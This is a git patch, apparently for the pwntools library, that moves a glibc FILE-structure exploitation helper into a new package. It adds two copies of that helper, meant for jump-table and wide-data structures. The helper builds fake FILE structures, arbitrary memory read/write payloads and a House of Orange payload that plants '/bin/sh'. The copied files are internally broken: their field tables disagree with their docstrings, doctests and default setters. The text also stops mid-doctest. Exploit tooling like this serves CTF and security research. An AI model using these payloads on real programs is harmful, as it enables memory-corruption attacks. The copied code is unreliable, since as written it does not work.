From 5cb0d7ae52582ea266cd39df5de3db078767c049 Mon Sep 17 00:00:00 2001 From: RocketDev Date: Fri, 15 Mar 2024 19:55:38 +0800 Subject: [PATCH 01/11] copy filepointer to create new structs --- pwn/toplevel.py | 1 - pwnlib/__init__.py | 1 + pwnlib/file/__init__.py | 5 + pwnlib/{ => file}/filepointer.py | 0 pwnlib/file/jumptable.py | 336 +++++++++++++++++++++++++++++++ pwnlib/file/widedata.py | 331 ++++++++++++++++++++++++++++++ 6 files changed, 673 insertions(+), 1 deletion(-) create mode 100644 pwnlib/file/__init__.py rename pwnlib/{ => file}/filepointer.py (100%) create mode 100644 pwnlib/file/jumptable.py create mode 100644 pwnlib/file/widedata.py diff --git a/pwn/toplevel.py b/pwn/toplevel.py index 92b01ad1d..884801a29 100644 --- a/pwn/toplevel.py +++ b/pwn/toplevel.py @@ -30,7 +30,6 @@ from pwnlib.encoders import * from pwnlib.exception import PwnlibException from pwnlib.gdb import attach, debug_assembly, debug_shellcode -from pwnlib.filepointer import * from pwnlib.filesystem import * from pwnlib.flag import * from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split diff --git a/pwnlib/__init__.py b/pwnlib/__init__.py index 446907c04..a6d4b85f7 100644 --- a/pwnlib/__init__.py +++ b/pwnlib/__init__.py @@ -18,6 +18,7 @@ 'encoders', 'elf', 'exception', + 'file', 'fmtstr', 'gdb', 'libcdb', diff --git a/pwnlib/file/__init__.py b/pwnlib/file/__init__.py new file mode 100644 index 000000000..30c505aab --- /dev/null +++ b/pwnlib/file/__init__.py @@ -0,0 +1,5 @@ +from __future__ import absolute_import + +from pwnlib.file.filepointer import * +from pwnlib.file.widedata import * +from pwnlib.file.jumptable import * diff --git a/pwnlib/filepointer.py b/pwnlib/file/filepointer.py similarity index 100% rename from pwnlib/filepointer.py rename to pwnlib/file/filepointer.py diff --git a/pwnlib/file/jumptable.py b/pwnlib/file/jumptable.py new file mode 100644 index 000000000..f0d6db3fe --- /dev/null +++ b/pwnlib/file/jumptable.py @@ -0,0 +1,336 @@ +# -*- coding: utf-8 -*- + +r""" +File Structure Exploitation + +struct FILE (_IO_FILE) is the structure for File Streams. +This offers various targets for exploitation on an existing bug in the code. +Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location. + +Remembering the offsets of various structure members while faking a FILE structure can be difficult, +so this python class helps you with that. Example- + +>>> context.clear(arch='amd64') +>>> fileStr = FileStructure(null=0xdeadbeef) +>>> fileStr.vtable = 0xcafebabe +>>> payload = bytes(fileStr) +>>> payload +b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' + +Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe + +Currently only 'amd64' and 'i386' architectures are supported +""" + +from __future__ import absolute_import +from __future__ import division + +from pwnlib.context import context +from pwnlib.log import getLogger +from pwnlib.util.misc import python_2_bytes_compatible +from pwnlib.util.packing import pack + +log = getLogger(__name__) + +length=0 +size='size' +name='name' + +variables={ + 0:{name:'__dummy',size:length}, + 1:{name:'__dummy2',size:length}, + 2:{name:'__finish',size:length}, + 3:{name:'__overflow',size:length}, + 4:{name:'__underflow',size:length}, + 5:{name:'__uflow',size:length}, + 6:{name:'__pbackfail',size:length}, + 7:{name:'__xsputn',size:length}, + 8:{name:'__xsgetn',size:length}, + 9:{name:'__seekoff',size:length}, + 10:{name:'__seekpos',size:length}, + 11:{name:'__setbuf',size:length}, + 12:{name:'__sync',size:length}, + 13:{name:'__doallocate',size:length}, + 14:{name:'__read',size:length}, + 15:{name:'__write',size:length}, + 16:{name:'__seek',size:length}, + 17:{name:'__close',size:length}, + 18:{name:'__stat',size:length}, + 19:{name:'__showmanyc',size:length}, + 20:{name:'__imbue',size:length} +} + +del name, size, length + + +def update_var(l): + r""" + Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. + + Arguments: + l(int) + l=8 for 'amd64' architecture and l=4 for 'i386' architecture + + Return Value: + Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set + + Examples: + + >>> update_var(8) + {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8} + """ + var={} + for i in variables: + var[variables[i]['name']]=variables[i]['size'] + for i in var: + if var[i]<=0: + var[i]+=l + if l==4: + var['unknown2']=56 + else: + var['unknown2']=48 + return var + + +@python_2_bytes_compatible +class FileStructure(object): + r""" + Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set. + + Arguments: + null(int) + A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc) + + Examples: + + FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(null=0xdeadbeeef) + >>> fileStr.flags = 0xfbad1807 + >>> fileStr._IO_buf_base = 0xcafebabe + >>> fileStr._IO_buf_end = 0xfacef00d + >>> payload = bytes(fileStr) + >>> payload + b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + + Check the length of the FileStructure + + >>> len(fileStr) + 224 + + The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell + + >>> q=FileStructure(0xdeadbeef) + >>> q + { flags: 0x0 + _IO_read_ptr: 0x0 + _IO_read_end: 0x0 + _IO_read_base: 0x0 + _IO_write_base: 0x0 + _IO_write_ptr: 0x0 + _IO_write_end: 0x0 + _IO_buf_base: 0x0 + _IO_buf_end: 0x0 + _IO_save_base: 0x0 + _IO_backup_base: 0x0 + _IO_save_end: 0x0 + markers: 0x0 + chain: 0x0 + fileno: 0x0 + _flags2: 0x0 + _old_offset: 0xffffffffffffffff + _cur_column: 0x0 + _vtable_offset: 0x0 + _shortbuf: 0x0 + unknown1: 0x0 + _lock: 0xdeadbeef + _offset: 0xffffffffffffffff + _codecvt: 0x0 + _wide_data: 0xdeadbeef + unknown2: 0x0 + vtable: 0x0} + """ + + vars_=[] + length={} + + def __init__(self, null=0): + self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] + self.setdefault(null) + self.length = update_var(context.bytes) + self._old_offset = (1 << context.bits) - 1 + + def __setattr__(self,item,value): + if item in FileStructure.__dict__ or item in self.vars_: + object.__setattr__(self,item,value) + else: + log.error("Unknown variable %r" % item) + + def __repr__(self): + structure=[] + for i in self.vars_: + structure.append(" %s: %#x" % (i, getattr(self, i))) + return "{"+ "\n".join(structure)+"}" + + def __len__(self): + return len(bytes(self)) + + def __bytes__(self): + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(context.bytes, b'\x00') + else: + if self.length[val] > 0: + structure += pack(getattr(self, val), self.length[val]*8) + return structure + + def struntil(self,v): + r""" + Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. + + Arguments: + v(string) + The name of the field uptil which the payload should be created. + + Example: + + Payload for data uptil _IO_buf_end + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.struntil("_IO_buf_end") + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + """ + if v not in self.vars_: + return b'' + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(context.bytes, b'\x00') + else: + structure += pack(getattr(self, val), self.length[val]*8) + if val == v: + break + return structure[:-1] + + def setdefault(self,null): + self.flags=0 + self._IO_read_ptr=0 + self._IO_read_end=0 + self._IO_read_base=0 + self._IO_write_base=0 + self._IO_write_ptr=0 + self._IO_write_end=0 + self._IO_buf_base=0 + self._IO_buf_end=0 + self._IO_save_base=0 + self._IO_backup_base=0 + self._IO_save_end=0 + self.markers=0 + self.chain=0 + self.fileno=0 + self._flags2=0 + self._old_offset=0 + self._cur_column=0 + self._vtable_offset=0 + self._shortbuf=0 + self.unknown1=0 + self._lock=null + self._offset=0xffffffffffffffff + self._codecvt=0 + self._wide_data=null + self.unknown2=0 + self.vtable=0 + + def write(self,addr=0,size=0): + r""" + Writing data out from arbitrary memory address. + + Arguments: + addr(int) + The address from which data is to be printed to stdout + size(int) + The size, in bytes, of the data to be printed + + Example: + + Payload for writing 100 bytes to stdout from the address 0xcafebabe + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.write(addr=0xcafebabe, size=100) + >>> payload + b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' + """ + self.flags &=~8 + self.flags |=0x800 + self._IO_write_base = addr + self._IO_write_ptr = addr+size + self._IO_read_end = addr + self.fileno = 1 + return self.struntil('fileno') + + def read(self,addr=0,size=0): + r""" + Reading data into arbitrary memory location. + + Arguments: + addr(int) + The address into which data is to be written from stdin + size(int) + The size, in bytes, of the data to be written + + Example: + + Payload for reading 100 bytes from stdin into the address 0xcafebabe + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.read(addr=0xcafebabe, size=100) + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + """ + self.flags &=~4 + self._IO_read_base = 0 + self._IO_read_ptr = 0 + self._IO_buf_base = addr + self._IO_buf_end = addr+size + self.fileno = 0 + return self.struntil('fileno') + + def orange(self,io_list_all,vtable): + r""" + Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks. + + Arguments: + io_list_all(int) + Address of _IO_list_all in libc. + vtable(int) + Address of the fake vtable in memory + + Example: + + Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe - + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) + >>> payload + b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' + """ + if context.bits == 64: + self.flags = b'/bin/sh\x00' + self._IO_read_ptr = 0x61 + self._IO_read_base = io_list_all-0x10 + elif context.bits == 32: + self.flags = b'sh\x00' + self._IO_read_ptr = 0x121 + self._IO_read_base = io_list_all-0x8 + self._IO_write_base = 0 + self._IO_write_ptr = 1 + self.vtable = vtable + return self.__bytes__() + diff --git a/pwnlib/file/widedata.py b/pwnlib/file/widedata.py new file mode 100644 index 000000000..7a5fce5ab --- /dev/null +++ b/pwnlib/file/widedata.py @@ -0,0 +1,331 @@ +# -*- coding: utf-8 -*- + +r""" +File Structure Exploitation + +struct FILE (_IO_FILE) is the structure for File Streams. +This offers various targets for exploitation on an existing bug in the code. +Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location. + +Remembering the offsets of various structure members while faking a FILE structure can be difficult, +so this python class helps you with that. Example- + +>>> context.clear(arch='amd64') +>>> fileStr = FileStructure(null=0xdeadbeef) +>>> fileStr.vtable = 0xcafebabe +>>> payload = bytes(fileStr) +>>> payload +b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' + +Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe + +Currently only 'amd64' and 'i386' architectures are supported +""" + +from __future__ import absolute_import +from __future__ import division + +from pwnlib.context import context +from pwnlib.log import getLogger +from pwnlib.util.misc import python_2_bytes_compatible +from pwnlib.util.packing import pack + +log = getLogger(__name__) + +length=0 +size='size' +name='name' + +variables={ + 0:{name:'_IO_read_ptr',size:length}, + 1:{name:'_IO_read_end',size:length}, + 2:{name:'_IO_read_base',size:length}, + 3:{name:'_IO_write_base',size:length}, + 4:{name:'_IO_write_ptr',size:length}, + 5:{name:'_IO_write_end',size:length}, + 6:{name:'_IO_buf_base',size:length}, + 7:{name:'_IO_buf_end',size:length}, + 8:{name:'_IO_save_base',size:length}, + 9:{name:'_IO_backup_base',size:length}, + 10:{name:'_IO_save_end',size:length}, + 11:{name:'_IO_state',size:8}, + 12:{name:'_IO_last_state',size:8}, + 13:{name:'_codecvt',size:4}, # 32b:0x48, 64b:0x70 + 14:{name:'_shortbuf',size:4}, + 15:{name:'_wide_vtable',size:length} +} + +del name, size, length + + +def update_var(l): + r""" + Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. + + Arguments: + l(int) + l=8 for 'amd64' architecture and l=4 for 'i386' architecture + + Return Value: + Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set + + Examples: + + >>> update_var(8) + {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8} + """ + var={} + for i in variables: + var[variables[i]['name']]=variables[i]['size'] + for i in var: + if var[i]<=0: + var[i]+=l + if l==4: + var['unknown2']=56 + else: + var['unknown2']=48 + return var + + +@python_2_bytes_compatible +class FileStructure(object): + r""" + Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set. + + Arguments: + null(int) + A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc) + + Examples: + + FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(null=0xdeadbeeef) + >>> fileStr.flags = 0xfbad1807 + >>> fileStr._IO_buf_base = 0xcafebabe + >>> fileStr._IO_buf_end = 0xfacef00d + >>> payload = bytes(fileStr) + >>> payload + b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + + Check the length of the FileStructure + + >>> len(fileStr) + 224 + + The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell + + >>> q=FileStructure(0xdeadbeef) + >>> q + { flags: 0x0 + _IO_read_ptr: 0x0 + _IO_read_end: 0x0 + _IO_read_base: 0x0 + _IO_write_base: 0x0 + _IO_write_ptr: 0x0 + _IO_write_end: 0x0 + _IO_buf_base: 0x0 + _IO_buf_end: 0x0 + _IO_save_base: 0x0 + _IO_backup_base: 0x0 + _IO_save_end: 0x0 + markers: 0x0 + chain: 0x0 + fileno: 0x0 + _flags2: 0x0 + _old_offset: 0xffffffffffffffff + _cur_column: 0x0 + _vtable_offset: 0x0 + _shortbuf: 0x0 + unknown1: 0x0 + _lock: 0xdeadbeef + _offset: 0xffffffffffffffff + _codecvt: 0x0 + _wide_data: 0xdeadbeef + unknown2: 0x0 + vtable: 0x0} + """ + + vars_=[] + length={} + + def __init__(self, null=0): + self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] + self.setdefault(null) + self.length = update_var(context.bytes) + self._old_offset = (1 << context.bits) - 1 + + def __setattr__(self,item,value): + if item in FileStructure.__dict__ or item in self.vars_: + object.__setattr__(self,item,value) + else: + log.error("Unknown variable %r" % item) + + def __repr__(self): + structure=[] + for i in self.vars_: + structure.append(" %s: %#x" % (i, getattr(self, i))) + return "{"+ "\n".join(structure)+"}" + + def __len__(self): + return len(bytes(self)) + + def __bytes__(self): + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(context.bytes, b'\x00') + else: + if self.length[val] > 0: + structure += pack(getattr(self, val), self.length[val]*8) + return structure + + def struntil(self,v): + r""" + Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. + + Arguments: + v(string) + The name of the field uptil which the payload should be created. + + Example: + + Payload for data uptil _IO_buf_end + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.struntil("_IO_buf_end") + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + """ + if v not in self.vars_: + return b'' + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(context.bytes, b'\x00') + else: + structure += pack(getattr(self, val), self.length[val]*8) + if val == v: + break + return structure[:-1] + + def setdefault(self,null): + self.flags=0 + self._IO_read_ptr=0 + self._IO_read_end=0 + self._IO_read_base=0 + self._IO_write_base=0 + self._IO_write_ptr=0 + self._IO_write_end=0 + self._IO_buf_base=0 + self._IO_buf_end=0 + self._IO_save_base=0 + self._IO_backup_base=0 + self._IO_save_end=0 + self.markers=0 + self.chain=0 + self.fileno=0 + self._flags2=0 + self._old_offset=0 + self._cur_column=0 + self._vtable_offset=0 + self._shortbuf=0 + self.unknown1=0 + self._lock=null + self._offset=0xffffffffffffffff + self._codecvt=0 + self._wide_data=null + self.unknown2=0 + self.vtable=0 + + def write(self,addr=0,size=0): + r""" + Writing data out from arbitrary memory address. + + Arguments: + addr(int) + The address from which data is to be printed to stdout + size(int) + The size, in bytes, of the data to be printed + + Example: + + Payload for writing 100 bytes to stdout from the address 0xcafebabe + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.write(addr=0xcafebabe, size=100) + >>> payload + b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' + """ + self.flags &=~8 + self.flags |=0x800 + self._IO_write_base = addr + self._IO_write_ptr = addr+size + self._IO_read_end = addr + self.fileno = 1 + return self.struntil('fileno') + + def read(self,addr=0,size=0): + r""" + Reading data into arbitrary memory location. + + Arguments: + addr(int) + The address into which data is to be written from stdin + size(int) + The size, in bytes, of the data to be written + + Example: + + Payload for reading 100 bytes from stdin into the address 0xcafebabe + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.read(addr=0xcafebabe, size=100) + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + """ + self.flags &=~4 + self._IO_read_base = 0 + self._IO_read_ptr = 0 + self._IO_buf_base = addr + self._IO_buf_end = addr+size + self.fileno = 0 + return self.struntil('fileno') + + def orange(self,io_list_all,vtable): + r""" + Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks. + + Arguments: + io_list_all(int) + Address of _IO_list_all in libc. + vtable(int) + Address of the fake vtable in memory + + Example: + + Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe - + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) + >>> payload + 